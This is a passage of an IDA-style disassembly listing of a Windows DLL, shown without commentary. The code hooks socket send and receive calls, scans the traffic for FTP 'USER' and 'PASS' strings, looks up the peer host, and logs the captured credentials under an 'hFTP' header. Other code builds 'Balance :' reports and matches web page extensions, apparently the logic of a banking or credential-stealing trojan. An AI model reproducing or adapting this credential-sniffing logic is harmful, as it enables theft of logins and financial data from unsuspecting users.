		jnz	loc_1001196C
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		cmp	dword ptr [ecx], 0
		jl	loc_1001181B
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		cmp	dword ptr [eax], 3E8h
		jge	loc_1001162F
		mov	ecx, dword_10073DE4
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+8]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		imul	eax, 0Ah
		lea	ecx, [esi+eax+1]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+Size]
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	eax, [ebp+Size]
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+lpString2]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		cmp	dword ptr [eax+10h], 0
		jnz	short loc_1001147F
		mov	ecx, [ebp+lpString2]
		push	ecx
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax]
		mov	edx, dword_10034464[ecx*4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx+4]
		push	edx
		mov	eax, dword_10073DE4
		push	eax
		call	sub_1000F372
		add	esp, 10h
		mov	[ebp+var_64], eax


loc_1001147F:				; CODE XREF: sub_10011167+2D3j
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		cmp	dword ptr [edx+10h], 1
		jnz	short loc_100114D3
		mov	eax, [ebp+lpString2]
		push	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx+8]
		push	edx
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10034464[edx*4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, dword_10073DE4
		push	edx
		call	sub_1000F5B1
		add	esp, 10h
		mov	[ebp+var_64], eax


loc_100114D3:				; CODE XREF: sub_10011167+326j
		cmp	[ebp+var_64], 0
		jz	short loc_10011539
		mov	eax, [ebp+Size]
		push	eax		; NewSize
		mov	ecx, dword_10073DE4
		push	ecx		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	dword_10073DE4,	eax
		mov	edx, [ebp+Size]
		push	edx		; Size
		push	0		; Val
		mov	eax, dword_10073DE4
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		mov	edx, dword_10073DE4
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, dword_10073DE4
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	dword_10073DF0,	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	dword_10022110,	eax


loc_10011539:				; CODE XREF: sub_10011167+370j
		push	offset a1_1	; "1"
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10034464[eax*4]
		mov	edx, [ecx+24h]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	loc_10011616
		cmp	[ebp+var_60], 0
		jnz	loc_10011616
		cmp	[ebp+var_64], 0
		jz	loc_10011616
		mov	eax, [ebp+var_60]
		add	eax, 1
		mov	[ebp+var_60], eax
		push	0Ch		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpParameter], eax
		mov	ecx, [ebp+lpParameter]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+lpParameter]
		mov	[edx+4], eax
		push	4		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+lpParameter]
		mov	[ecx+8], eax
		push	4		; Size
		push	0		; Val
		mov	edx, [ebp+lpParameter]
		mov	eax, [edx+8]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx+4]
		push	eax		; lpString2
		mov	ecx, [ebp+lpParameter]
		mov	edx, [ecx+4]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	eax, [ebp+lpParameter]
		push	eax		; lpParameter
		push	offset sub_10010623 ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10011616:				; CODE XREF: sub_10011167+3F8j
					; sub_10011167+402j ...
		mov	ecx, [ebp+lpString2]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+lpString2], 0
		jmp	loc_100117DD
; ---------------------------------------------------------------------------


loc_1001162F:				; CODE XREF: sub_10011167+267j
		mov	edx, dword_10073DE4
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10035404[edx*4]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	ecx, [esi+eax+1]
		mov	[ebp+Size], ecx
		mov	edx, [ebp+Size]
		push	edx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	eax, [ebp+Size]
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+lpString2]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		cmp	dword ptr [eax+10h], 2
		jnz	loc_1001173B
		mov	ecx, [ebp+lpString2]
		push	ecx
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax]
		mov	edx, dword_10035A44[ecx*4]
		push	edx
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	eax, dword_10034DC4[edx*4]
		push	eax
		mov	ecx, dword_10073DE4
		push	ecx
		call	sub_1000F7FE
		add	esp, 10h
		mov	[ebp+var_64], eax
		cmp	[ebp+var_64], 0
		jz	short loc_10011736
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_1002377C ; "---------------"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset aBalance_0 ; "--------------\r\nBalance :\r\n"
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		mov	edx, [ebp+lpString2]
		push	edx		; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset asc_100237A8 ; "\r\n\r\n\r\n"
		call	sub_1000291D
		add	esp, 0Ch


loc_10011736:				; CODE XREF: sub_10011167+570j
		jmp	loc_100117C9
; ---------------------------------------------------------------------------


loc_1001173B:				; CODE XREF: sub_10011167+528j
		mov	eax, [ebp+lpString2]
		push	eax
		mov	ecx, [ebp+var_2C]
		mov	edx, dword_10073A5C[ecx*4]
		mov	eax, [edx]
		mov	ecx, dword_10035404[eax*4]
		push	ecx
		mov	edx, [ebp+var_2C]
		mov	eax, dword_10073A5C[edx*4]
		mov	ecx, [eax]
		mov	edx, dword_10034DC4[ecx*4]
		push	edx
		mov	eax, dword_10073DE4
		push	eax
		call	sub_1000F372
		add	esp, 10h
		test	eax, eax
		jz	short loc_100117C9
		mov	ecx, [ebp+Size]
		push	ecx		; NewSize
		mov	edx, dword_10073DE4
		push	edx		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	dword_10073DE4,	eax
		mov	eax, [ebp+Size]
		push	eax		; Size
		push	0		; Val
		mov	ecx, dword_10073DE4
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, dword_10073DE4
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, dword_10073DE4
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	dword_10073DF0,	eax


loc_100117C9:				; CODE XREF: sub_10011167:loc_10011736j
					; sub_10011167+610j
		mov	edx, [ebp+lpString2]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+lpString2], 0


loc_100117DD:				; CODE XREF: sub_10011167+4C3j
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx+4]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, [ebp+var_2C]
		mov	dword_10073A5C[edx*4], 0
		jmp	loc_1001196C
; ---------------------------------------------------------------------------


loc_1001181B:				; CODE XREF: sub_10011167+251j
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		cmp	dword ptr [ecx], 0FFFFFFFEh
		jnz	loc_1001196C
		mov	[ebp+var_6C], 0


loc_10011835:				; CODE XREF: sub_10011167+800j
		cmp	[ebp+var_6C], 32h
		jge	loc_1001196C
		mov	edx, [ebp+var_6C]
		mov	eax, dword_10034364[edx*4]
		cmp	dword ptr [eax], 0
		jz	loc_1001196C
		mov	ecx, dword_10073DE4
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		mov	edx, [ebp+var_6C]
		mov	eax, dword_10034364[edx*4]
		mov	ecx, [eax]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	esi, eax
		mov	edx, [ebp+var_6C]
		mov	eax, dword_10034364[edx*4]
		mov	ecx, [eax+4]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		lea	edx, [esi+eax+1]
		mov	[ebp+Size], edx
		mov	eax, [ebp+Size]
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+lpString2]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_70], 0
		mov	eax, [ebp+lpString2]
		push	eax
		mov	ecx, [ebp+var_6C]
		mov	edx, dword_10034364[ecx*4]
		mov	eax, [edx+4]
		push	eax
		mov	ecx, [ebp+var_6C]
		mov	edx, dword_10034364[ecx*4]
		mov	eax, [edx]
		push	eax
		mov	ecx, dword_10073DE4
		push	ecx
		call	sub_1000F5B1
		add	esp, 10h
		mov	[ebp+var_70], eax
		cmp	[ebp+var_70], 0
		jz	short loc_10011953
		mov	edx, [ebp+Size]
		push	edx		; NewSize
		mov	eax, dword_10073DE4
		push	eax		; Memory
		call	ds:realloc	; realloc
		add	esp, 8
		mov	dword_10073DE4,	eax
		mov	ecx, [ebp+Size]
		push	ecx		; Size
		push	0		; Val
		mov	edx, dword_10073DE4
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, dword_10073DE4
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, dword_10073DE4
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	dword_10073DF0,	eax
		mov	eax, [ebp+var_2C]
		mov	ecx, dword_10073A5C[eax*4]
		mov	edx, [ecx]
		mov	dword_10022110,	edx


loc_10011953:				; CODE XREF: sub_10011167+788j
		mov	eax, [ebp+lpString2]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	[ebp+lpString2], 0
		jmp	loc_10011835
; ---------------------------------------------------------------------------


loc_1001196C:				; CODE XREF: sub_10011167+23Ej
					; sub_10011167+6AFj ...
		mov	ecx, [ebp+var_2C]
		add	ecx, 1
		mov	[ebp+var_2C], ecx
		jmp	loc_10011377
; ---------------------------------------------------------------------------


loc_1001197A:				; CODE XREF: sub_10011167+21Bj
					; sub_10011167+228j
		push	0		; int
		push	0FFFFFFFFh	; int
		mov	edx, dword_10073DE4
		push	edx		; Source
		call	sub_1000291D
		add	esp, 0Ch


loc_1001198D:				; CODE XREF: sub_10011167+1E7j
		mov	eax, dword_10073DEC
		cmp	eax, dword_10073DF0
		jnb	loc_10011A49
		mov	ecx, dword_10073DEC
		add	ecx, [ebp+arg_8]
		cmp	ecx, dword_10073DF0
		jnb	short loc_100119B7
		mov	edx, [ebp+arg_8]
		mov	[ebp+var_78], edx
		jmp	short loc_100119C5
; ---------------------------------------------------------------------------


loc_100119B7:				; CODE XREF: sub_10011167+846j
		mov	eax, dword_10073DF0
		sub	eax, dword_10073DEC
		mov	[ebp+var_78], eax


loc_100119C5:				; CODE XREF: sub_10011167+84Ej
		mov	ecx, [ebp+var_78]
		mov	[ebp+var_74], ecx
		mov	edx, [ebp+var_74]
		push	edx		; Size
		mov	eax, dword_10073DE4
		add	eax, dword_10073DEC
		push	eax		; Src
		mov	ecx, [ebp+Dst]
		push	ecx		; Dst
		call	memcpy	; memcpy
		add	esp, 0Ch
		mov	edx, dword_10073DEC
		add	edx, [ebp+var_74]
		mov	dword_10073DEC,	edx
		mov	eax, [ebp+arg_C]
		mov	ecx, [ebp+var_74]
		mov	[eax], ecx
		mov	[ebp+var_28], 1
		mov	edx, dword_10073DEC
		cmp	edx, dword_10073DF0
		jb	short loc_10011A47
		mov	dword_10073DEC,	0
		mov	dword_10073DF0,	0
		mov	[ebp+var_28], 1
		mov	dword_10073DFC,	0
		mov	eax, dword_10073DE4
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10011A47:				; CODE XREF: sub_10011167+8AAj
		jmp	short loc_10011A7E
; ---------------------------------------------------------------------------


loc_10011A49:				; CODE XREF: sub_10011167+831j
		mov	dword_10073DEC,	0
		mov	dword_10073DF0,	0
		mov	[ebp+var_28], 0
		mov	dword_10073DFC,	0
		mov	ecx, dword_10073DE4
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10011A7E:				; CODE XREF: sub_10011167+1DAj
					; sub_10011167:loc_10011A47j
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_12
		jmp	short loc_10011A8D
sub_10011167	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_12. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10011167


loc_10011A8D:				; CODE XREF: sub_10011167+923j
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_10011167

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10011AA3(SOCKET s, int, int, int, int, int, int)

sub_10011AA3	proc near		; DATA XREF: sub_1001338E+12Do
					; sub_100134D4+12Do

namelen		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
addr		= byte ptr -38h
name		= sockaddr ptr -34h
var_24		= dword	ptr -24h
lpString2	= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
s		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 10011C8C SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E558
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFD0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+s]
		push	eax
		call	dword_10073A58
		mov	[ebp+var_1C], eax
		cmp	dword_1007397C,	0
		jnz	loc_10011C7D
		cmp	[ebp+arg_4], 0
		jz	loc_10011C7D
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+4], 0
		jz	loc_10011C7D
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString2], eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx		; Count
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx		; Source
		mov	edx, [ebp+lpString2]
		push	edx		; Dest
		call	ds:strncpy	; strncpy
		add	esp, 0Ch
		push	offset aUser	; "USER"
		mov	eax, [ebp+lpString2]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_10011B7C
		push	offset aPass	; "PASS"
		mov	ecx, [ebp+lpString2]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_10011C70


loc_10011B7C:				; CODE XREF: sub_10011AA3+BDj
		mov	[ebp+var_24], 0
		mov	dword ptr [ebp+addr], 0
		mov	[ebp+namelen], 10h
		lea	edx, [ebp+namelen]
		push	edx		; namelen
		lea	eax, [ebp+name]
		push	eax		; name
		mov	ecx, [ebp+s]
		push	ecx		; s
		call	ds:getpeername	; getpeername
		test	eax, eax
		jnz	short loc_10011BAD
		mov	edx, dword ptr [ebp+name.sa_data+2]
		mov	dword ptr [ebp+addr], edx


loc_10011BAD:				; CODE XREF: sub_10011AA3+102j
		push	2		; type
		push	4		; len
		lea	eax, [ebp+addr]
		push	eax		; addr
		call	ds:gethostbyaddr	; gethostbyaddr
		mov	[ebp+var_3C], eax
		cmp	[ebp+var_3C], 0
		jz	loc_10011C70
		mov	ecx, [ebp+var_3C]
		cmp	dword ptr [ecx], 0
		jz	loc_10011C70
		push	offset byte_10073174 ; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jnz	short loc_10011C02
		mov	edx, [ebp+lpString2]
		push	edx
		mov	eax, [ebp+var_3C]
		mov	ecx, [eax]
		push	ecx
		push	offset aHftpUrlSS ; "---------------hFTP--------------\r\nURL "...
		push	offset byte_10073174 ; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		jmp	short loc_10011C70
; ---------------------------------------------------------------------------


loc_10011C02:				; CODE XREF: sub_10011AA3+13Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [edx]
		push	eax		; SubStr
		push	offset byte_10073174 ; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10011C3B
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		push	offset byte_10073174 ; lpString1
		call	ds:lstrcatA	; lstrcatA
		push	offset asc_100237F0 ; "\r\n\r\n"
		push	offset byte_10073174 ; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_10011C4B
; ---------------------------------------------------------------------------


loc_10011C3B:				; CODE XREF: sub_10011AA3+175j
		push	offset aPassError ; "\r\n - PASS error"
		push	offset byte_10073174 ; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_10011C4B:				; CODE XREF: sub_10011AA3+196j
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset byte_10073174 ; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	800h		; Size
		push	0		; Val
		push	offset byte_10073174 ; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_10011C70:				; CODE XREF: sub_10011AA3+D3j
					; sub_10011AA3+11Fj ...
		mov	edx, [ebp+lpString2]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4


loc_10011C7D:				; CODE XREF: sub_10011AA3+5Dj
					; sub_10011AA3+67j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_13
		jmp	short loc_10011C8C
sub_10011AA3	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_13. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10011AA3


loc_10011C8C:				; CODE XREF: sub_10011AA3+1E6j
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	1Ch
; END OF FUNCTION CHUNK	FOR sub_10011AA3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10011CA2(SOCKET s, char *Source, size_t Count, int)

sub_10011CA2	proc near		; DATA XREF: sub_1001338E+116o
					; sub_100134D4+116o

namelen		= dword	ptr -3Ch
var_38		= dword	ptr -38h
addr		= byte ptr -34h
name		= sockaddr ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
s		= dword	ptr  8
Source		= dword	ptr  0Ch
Count		= dword	ptr  10h
arg_C		= dword	ptr  14h

; FUNCTION CHUNK AT 10011E33 SIZE 00000016 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E568
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFD4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+Count]
		push	ecx
		mov	edx, [ebp+Source]
		push	edx
		mov	eax, [ebp+s]
		push	eax
		call	dword_10073B88
		mov	[ebp+var_1C], eax
		cmp	dword_1007397C,	0
		jnz	loc_10011E24
		push	offset aUser_0	; "USER"
		mov	ecx, [ebp+Source]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_10011D29
		push	offset aPass_0	; "PASS"
		mov	edx, [ebp+Source]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_10011E24


loc_10011D29:				; CODE XREF: sub_10011CA2+6Bj
		mov	[ebp+var_20], 0
		mov	dword ptr [ebp+addr], 0
		mov	[ebp+namelen], 10h
		lea	eax, [ebp+namelen]
		push	eax		; namelen
		lea	ecx, [ebp+name]
		push	ecx		; name
		mov	edx, [ebp+s]
		push	edx		; s
		call	ds:getpeername	; getpeername
		test	eax, eax
		jnz	short loc_10011D5A
		mov	eax, dword ptr [ebp+name.sa_data+2]
		mov	dword ptr [ebp+addr], eax


loc_10011D5A:				; CODE XREF: sub_10011CA2+B0j
		push	2		; type
		push	4		; len
		lea	ecx, [ebp+addr]
		push	ecx		; addr
		call	ds:gethostbyaddr	; gethostbyaddr
		mov	[ebp+var_38], eax
		cmp	[ebp+var_38], 0
		jz	loc_10011E24
		mov	edx, [ebp+var_38]
		cmp	dword ptr [edx], 0
		jz	loc_10011E24
		push	offset byte_10073174 ; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jnz	short loc_10011DAF
		mov	eax, [ebp+Source]
		push	eax
		mov	ecx, [ebp+var_38]
		mov	edx, [ecx]
		push	edx
		push	offset aHftpUrlSS_0 ; "---------------hFTP--------------\r\nURL	"...
		push	offset byte_10073174 ; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		jmp	short loc_10011E24
; ---------------------------------------------------------------------------


loc_10011DAF:				; CODE XREF: sub_10011CA2+ECj
		mov	eax, [ebp+var_38]
		mov	ecx, [eax]
		push	ecx		; SubStr
		push	offset byte_10073174 ; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10011DEF
		mov	edx, [ebp+Count]
		push	edx		; Count
		mov	eax, [ebp+Source]
		push	eax		; Source
		push	offset byte_10073174 ; Dest
		call	ds:strncat	; strncat
		add	esp, 0Ch
		push	offset asc_10023848 ; "\r\n\r\n"
		push	offset byte_10073174 ; lpString1
		call	ds:lstrcatA	; lstrcatA
		jmp	short loc_10011DFF
; ---------------------------------------------------------------------------


loc_10011DEF:				; CODE XREF: sub_10011CA2+123j
		push	offset aPassError_0 ; "\r\n - PASS error"
		push	offset byte_10073174 ; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_10011DFF:				; CODE XREF: sub_10011CA2+14Bj
		push	0FFFFFFFFh	; int
		push	0FFFFFFFFh	; int
		push	offset byte_10073174 ; Source
		call	sub_1000291D
		add	esp, 0Ch
		push	800h		; Size
		push	0		; Val
		push	offset byte_10073174 ; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_10011E24:				; CODE XREF: sub_10011CA2+51j
					; sub_10011CA2+81j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	nullsub_14
		jmp	short loc_10011E33
sub_10011CA2	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10011CA2


loc_10011E33:				; CODE XREF: sub_10011CA2+18Ej
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_10011CA2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10011E49(int,	char *Str1, LPCSTR lpString2, int, int,	int, int, int)

sub_10011E49	proc near		; DATA XREF: sub_1001338E+5Eo
					; sub_100134D4+5Eo

var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_58F		= byte ptr -58Fh
var_490		= dword	ptr -490h
String		= byte ptr -48Ch
var_48B		= byte ptr -48Bh
var_38C		= dword	ptr -38Ch
String2		= byte ptr -388h
var_387		= byte ptr -387h
String1		= byte ptr -188h
var_187		= byte ptr -187h
var_124		= dword	ptr -124h
lpString	= dword	ptr -120h
Str2		= byte ptr -11Ch
var_11B		= byte ptr -11Bh
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
lpString2	= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

; FUNCTION CHUNK AT 1001287B SIZE 00000019 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E578
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFA70h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_1C], 0
		mov	[ebp+var_594], 0
		mov	[ebp+var_490], 0
		mov	[ebp+Str2], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_11B]
		rep stosd
		stosw
		mov	[ebp+String], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_48B]
		rep stosd
		stosw
		mov	[ebp+lpString],	0
		mov	[ebp+String2], 0
		mov	ecx, 7Fh
		xor	eax, eax
		lea	edi, [ebp+var_387]
		rep stosd
		stosw
		stosb
		mov	[ebp+String1], 0
		mov	ecx, 18h
		xor	eax, eax
		lea	edi, [ebp+var_187]
		rep stosd
		stosw
		stosb
		mov	[ebp+var_590], 0
		mov	ecx, 3Fh
		xor	eax, eax
		lea	edi, [ebp+var_58F]
		rep stosd
		stosw
		mov	[ebp+var_124], 1F4h
		mov	[ebp+var_4], 0
		mov	eax, [ebp+lpString2]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString],	eax
		mov	ecx, [ebp+lpString2]
		push	ecx		; lpString2
		mov	edx, [ebp+lpString]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	1		; int
		push	offset a_htm_php_do_as ; ".htm*.php*.do*.asp*.jsp*?"
		mov	eax, [ebp+lpString]
		push	eax		; Str
		call	sub_1000F2AB
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_10011F79
		mov	ecx, [ebp+lpString]
